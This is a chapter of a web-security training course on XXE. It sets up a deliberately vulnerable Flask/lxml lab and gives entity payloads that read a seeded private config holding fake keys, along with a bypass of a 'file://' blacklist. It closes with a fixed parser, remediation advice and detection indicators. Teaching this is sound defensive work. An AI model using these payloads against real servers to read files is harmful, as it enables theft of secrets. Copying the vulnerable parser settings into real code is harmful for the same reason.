Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 07. XXE

Example

This example uses the shared Flask lab.

We plug XXE in as the seventh web module.

Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.

The flow is:

install lxml
create modules/xxe.py
register the blueprint in app.py
restart Flask
visit /xxe/basic

The XXE module provides four pages:

/xxe/basic
/xxe/blacklist
/xxe/better
/xxe/fixed

Plug In The Module

From the lab directory (disregard if you have already done this):

cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py

Install the XML parser used by this lab:

pip install lxml
pip freeze > requirements.txt

We use lxml here because this lesson needs a parser that can be configured to load DTDs and resolve external entities.

Create modules/xxe.py:

cat > modules/xxe.py <<'EOF'
from pathlib import Path

from flask import Blueprint, abort, redirect, render_template_string, request
from lxml import etree

from app import get_db


bp = Blueprint("xxe", __name__, url_prefix="/xxe")

BASE_DIR = Path(__file__).resolve().parents[1]
LAB_ROOT = BASE_DIR / "lab_xml"
PUBLIC_ROOT = LAB_ROOT / "public"
PRIVATE_ROOT = LAB_ROOT / "private"

DEFAULT_XML = """<order>
  <item>Signal Mug</item>
  <quantity>1</quantity>
  <note>normal order</note>
</order>"""


PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>{{ title }}</title>
    <style>
        body { font-family: system-ui, sans-serif; max-width: 1000px; margin: 40px auto; line-height: 1.5; }
        nav a { margin-right: 12px; }
        label { display: block; margin-top: 12px; }
        textarea { width: 100%; min-height: 220px; padding: 7px; box-sizing: border-box; font-family: ui-monospace, monospace; }
        button { margin-top: 12px; padding: 7px 10px; }
        table { border-collapse: collapse; width: 100%; margin-top: 18px; }
        th, td { border: 1px solid #ccc; padding: 8px; text-align: left; vertical-align: top; }
        pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; white-space: pre-wrap; }
        code { background: #eee; padding: 2px 4px; }
    </style>
</head>
<body>
    <h1>{{ title }}</h1>

    <nav>
        <a href="/xxe/basic">basic</a>
        <a href="/xxe/blacklist">blacklist</a>
        <a href="/xxe/better">better</a>
        <a href="/xxe/fixed">fixed</a>
        <a href="/xxe/audit">audit</a>
    </nav>

    <p>{{ description }}</p>

    <form method="post" action="/xxe/{{ stage }}">
        <label for="xml">XML</label>
        <textarea id="xml" name="xml">{{ xml }}</textarea>
        <button type="submit">Parse XML</button>
    </form>

    {% if error %}
    <h2>Error</h2>
    <pre>{{ error }}</pre>
    {% endif %}

    {% if parsed %}
    <h2>Parsed Order</h2>
    <table>
        <tr>
            <th>Field</th>
            <th>Value</th>
        </tr>
        <tr>
            <td>item</td>
            <td>{{ parsed.item }}</td>
        </tr>
        <tr>
            <td>quantity</td>
            <td>{{ parsed.quantity }}</td>
        </tr>
        <tr>
            <td>note</td>
            <td><pre>{{ parsed.note }}</pre></td>
        </tr>
    </table>
    {% endif %}
</body>
</html>
"""


AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>XXE Audit</title>
</head>
<body>
    <h1>XXE Audit</h1>
    <p>This page shows recent XML parsing events from the local lab.</p>
    <p><a href="/xxe/basic">back to XXE lab</a></p>

    {% for event in events %}
    <article>
        <p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
        <pre>{{ event["detail"] }}</pre>
        <small>{{ event["created_at"] }}</small>
    </article>
    {% else %}
    <p>No XXE events yet.</p>
    {% endfor %}
</body>
</html>
"""


def ensure_lab_files():
    PUBLIC_ROOT.mkdir(parents=True, exist_ok=True)
    PRIVATE_ROOT.mkdir(parents=True, exist_ok=True)

    public_request = PUBLIC_ROOT / "request.xml"
    if not public_request.exists():
        public_request.write_text(DEFAULT_XML, encoding="utf-8")

    private_config = PRIVATE_ROOT / "device-config.txt"
    if not private_config.exists():
        private_config.write_text(
            "device=training-gateway\n"
            "api_key=ootw-xxe-demo-key\n"
            "reset_token=ootw-xxe-demo-reset\n",
            encoding="utf-8",
        )


def base_url():
    return (PUBLIC_ROOT / "request.xml").resolve().as_uri()


def submitted_xml():
    form_xml = request.form.get("xml")
    if form_xml is not None:
        return form_xml

    body = request.get_data(as_text=True)
    if body.strip():
        return body

    return DEFAULT_XML


def parse_order(xml, parser):
    try:
        root = etree.fromstring(xml.encode("utf-8"), parser=parser, base_url=base_url())
        if root.tag != "order":
            raise ValueError("root element must be order")

        parsed = {
            "item": root.findtext("item", default=""),
            "quantity": root.findtext("quantity", default=""),
            "note": root.findtext("note", default=""),
        }
        return parsed, None
    except (etree.XMLSyntaxError, OSError, ValueError) as error:
        return None, str(error)


def vulnerable_parser():
    return etree.XMLParser(
        resolve_entities=True,
        load_dtd=True,
        no_network=False,
    )


def local_only_parser():
    return etree.XMLParser(
        resolve_entities=True,
        load_dtd=True,
        no_network=True,
    )


def fixed_parser():
    return etree.XMLParser(
        resolve_entities=False,
        load_dtd=False,
        no_network=True,
    )


def log_parse(stage, xml, parsed, error):
    preview = ""
    if parsed is not None:
        preview = parsed.get("note", "")[:500]

    detail = (
        f"stage={stage} "
        f"doctype={'<!DOCTYPE' in xml.upper()} "
        f"error={error or 'none'} "
        f"note_preview={preview}"
    )

    db = get_db()
    db.execute(
        """
        INSERT INTO audit_log (event_type, username, detail)
        VALUES (?, ?, ?)
        """,
        (f"xxe-{stage}", "operator", detail),
    )
    db.commit()


def render_lab(stage, title, description, xml, parsed=None, error=None):
    return render_template_string(
        PAGE,
        stage=stage,
        title=title,
        description=description,
        xml=xml,
        parsed=parsed,
        error=error,
    )


@bp.get("/")
def index():
    return redirect("/xxe/basic")


@bp.route("/basic", methods=["GET", "POST"])
def basic():
    ensure_lab_files()
    xml = submitted_xml()
    parsed, error = parse_order(xml, vulnerable_parser())
    log_parse("basic", xml, parsed, error)

    return render_lab(
        "basic",
        "XXE Basic",
        "The route parses XML with DTD loading and external entity resolution enabled.",
        xml,
        parsed,
        error,
    )


@bp.route("/blacklist", methods=["GET", "POST"])
def blacklist():
    ensure_lab_files()
    xml = submitted_xml()

    if "file://" in xml.lower():
        log_parse("blacklist", xml, None, "blocked-file-uri")
        abort(400)

    parsed, error = parse_order(xml, vulnerable_parser())
    log_parse("blacklist", xml, parsed, error)

    return render_lab(
        "blacklist",
        "XXE Weak Blacklist",
        "The route blocks the file:// URI scheme, then still resolves external entities.",
        xml,
        parsed,
        error,
    )


@bp.route("/better", methods=["GET", "POST"])
def better():
    ensure_lab_files()
    xml = submitted_xml()
    parsed, error = parse_order(xml, local_only_parser())
    log_parse("better", xml, parsed, error)

    return render_lab(
        "better",
        "XXE Better Network Disabled",
        "The route disables network access, but local file entities still resolve.",
        xml,
        parsed,
        error,
    )


@bp.route("/fixed", methods=["GET", "POST"])
def fixed():
    ensure_lab_files()
    xml = submitted_xml()

    if "<!DOCTYPE" in xml.upper():
        log_parse("fixed", xml, None, "blocked-doctype")
        abort(400)

    parsed, error = parse_order(xml, fixed_parser())
    log_parse("fixed", xml, parsed, error)

    return render_lab(
        "fixed",
        "XXE Fixed",
        "The route rejects DTDs and parses XML with entity resolution disabled.",
        xml,
        parsed,
        error,
    )


@bp.get("/audit")
def audit():
    db = get_db()
    events = db.execute(
        """
        SELECT event_type, username, detail, created_at
        FROM audit_log
        WHERE event_type LIKE 'xxe-%'
        ORDER BY id DESC
        LIMIT 30
        """
    ).fetchall()
    return render_template_string(AUDIT_PAGE, events=events)
EOF

Now register the module in app.py.

Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:

from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)

If the earlier web modules are already plugged in, keep those lines and add XXE below them:

from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)

from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)

from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)

from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)

from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)

from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)

from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)

Run the app:

flask --app app run --host 127.0.0.1 --port 5000

Confirm the module is live:

curl -i "http://127.0.0.1:5000/xxe/basic"

Basic Vulnerability

Open:

http://127.0.0.1:5000/xxe/basic

This page parses XML with external entity resolution enabled:

etree.XMLParser(
    resolve_entities=True,
    load_dtd=True,
    no_network=False,
)

Normal XML:

curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
  -H "Content-Type: application/xml" \
  --data-binary '<order><item>Signal Mug</item><quantity>1</quantity><note>normal order</note></order>'

Create a payload that points at the lab-local private config (assuming your instance lives in ~/ootw-web-lab):

cat > xxe-basic.xml <<EOF
<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY proof SYSTEM "file:///home/ubuntu/ootw-web-lab/lab_xml/private/device-config.txt">
]>
<order>
  <item>Signal Mug</item>
  <quantity>1</quantity>
  <note>&proof;</note>
</order>
EOF

Exploit:

curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-basic.xml

The parser resolves the external entity and places the file contents inside the note field.

This proves local file read through XML entity resolution.

BasicExploit


Basic Protection - Weak Blacklist

Open:

http://127.0.0.1:5000/xxe/blacklist

This page blocks one obvious URI scheme:

if "file://" in xml.lower():
    abort(400)

That blocks the absolute file:// payload.

It does not disable external entities.

Create a relative external entity payload:

cat > xxe-relative.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY proof SYSTEM "../private/device-config.txt">
]>
<order>
  <item>Signal Mug</item>
  <quantity>1</quantity>
  <note>&proof;</note>
</order>
EOF

Bypass:

curl -i -X POST "http://127.0.0.1:5000/xxe/blacklist" \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-relative.xml

The parser resolves the path relative to the XML base URL and still reads the private lab file.

The blacklist blocks one spelling. It does not remove the dangerous parser behavior.

MidExploit


Better Protection - Network Disabled

Open:

http://127.0.0.1:5000/xxe/better

This page disables network access:

etree.XMLParser(
    resolve_entities=True,
    load_dtd=True,
    no_network=True,
)

That reduces SSRF-style impact.

It does not stop local file entity resolution.

Run the same relative payload:

curl -i -X POST "http://127.0.0.1:5000/xxe/better" \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-relative.xml

The private lab config still appears in the parsed note field.

Network controls are useful, but the XML parser is still resolving external entities.

![[Chapter III - Web/7. XXE/Exploit.png]]


Fixed Version

Open:

http://127.0.0.1:5000/xxe/fixed

The fixed page does two things:

  • It rejects DOCTYPE.
  • It parses XML with DTD loading and entity resolution disabled.

The safe parser:

etree.XMLParser(
    resolve_entities=False,
    load_dtd=False,
    no_network=True,
)

Run normal XML:

curl -i -X POST "http://127.0.0.1:5000/xxe/fixed" \
  -H "Content-Type: application/xml" \
  --data-binary '<order><item>Signal Mug</item><quantity>1</quantity><note>normal order</note></order>'

Run the XXE payload:

curl -i -X POST "http://127.0.0.1:5000/xxe/fixed" \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-relative.xml

Expected:

400 Bad Request

The request no longer gets to define external entities.


Local Impact Proof

Use the vulnerable route to prove local file read:

curl -i -X POST "http://127.0.0.1:5000/xxe/basic" \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-basic.xml

Then view:

http://127.0.0.1:5000/xxe/audit

The audit page shows whether a DOCTYPE was present and includes a preview of the parsed note.

This proves the useful impact:

stage=basic
doctype=True
error=none
note_preview=device=training-gateway

The application did not need SQL injection, XSS, or path traversal. It handed attacker-controlled XML to a parser that resolved external resources.

Audit


Remediation

Patch XXE by disabling dangerous XML features:

  • Disable DTD loading.
  • Disable external entity resolution.
  • Disable network access in the XML parser.
  • Reject DOCTYPE when the application does not require it.
  • Avoid XML for untrusted input when a simpler data format is enough.
  • Harden XML parsing for uploaded XML-based formats.
  • Do not return verbose parser errors to users.
  • Restrict outbound network access from application servers.
  • Log rejected DTDs, entity declarations, and parser errors.

Safe pattern:

parser = etree.XMLParser(
    resolve_entities=False,
    load_dtd=False,
    no_network=True,
)

The safest XXE fix is to remove the parser feature that makes external resource resolution possible.


Detection

Useful signals include:

  • XML requests containing <!DOCTYPE.
  • XML requests containing <!ENTITY.
  • XML requests containing SYSTEM or PUBLIC.
  • References to file://, http://, or https:// inside XML.
  • XML parser errors involving external entities or DTDs.
  • Unexpected outbound requests from application servers.
  • Parsed output containing local file content.
  • Repeated rejected XML documents with different entity payloads.

Useful payload indicators:

<!DOCTYPE
<!ENTITY
SYSTEM
PUBLIC
file://
../private
xxe
%xxe;

Detection is not the fix. It shows which XML parser boundaries are being tested and which parser features need to be disabled.